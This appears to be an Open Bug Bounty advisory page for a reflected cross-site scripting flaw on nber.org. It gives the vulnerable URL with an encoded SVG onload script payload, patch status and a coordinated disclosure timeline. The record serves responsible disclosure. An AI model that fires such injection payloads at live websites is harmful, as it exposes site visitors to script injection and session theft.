nber.org XSS vulnerability

2017-01-08T20:02:00
ID OBB:204499
Type openbugbounty
Reporter bananascript
Modified 2017-09-13T03:38:00

Description

Vulnerable URL:
http://nber.org/custom?client=test3_fe&proxystylesheet;=test3_fe&site;=default_collection&btnG;=Search&entqr;=0&ud;=1&output;=xml_no_dtd&oe;=UTF-8&ie;=UTF-8&q;=%3Csvg%20onload=alert(%22OPENBUGBOUNTY%22)%0a%3E
Details:

Description| Value
---|---
Patched:| Yes, at 12.09.2017
Latest check for patch:| 12.09.2017 15:26 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 20972
VIP website status:| Yes
Check nber.org SSL connection:| (Grade: B+)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 8 January, 2017 20:02 GMT
Generic security notifications sent to website owner| 8 January, 2017 20:05 GMT
Notification sent to subscribers (without technical details)| 8 January, 2017 22:17 GMT
Vulnerability details disclosed by researcher| 5 February, 2017 20:14 GMT
Vulnerability patched by the website owner| 13 September, 2017 03:38 GMT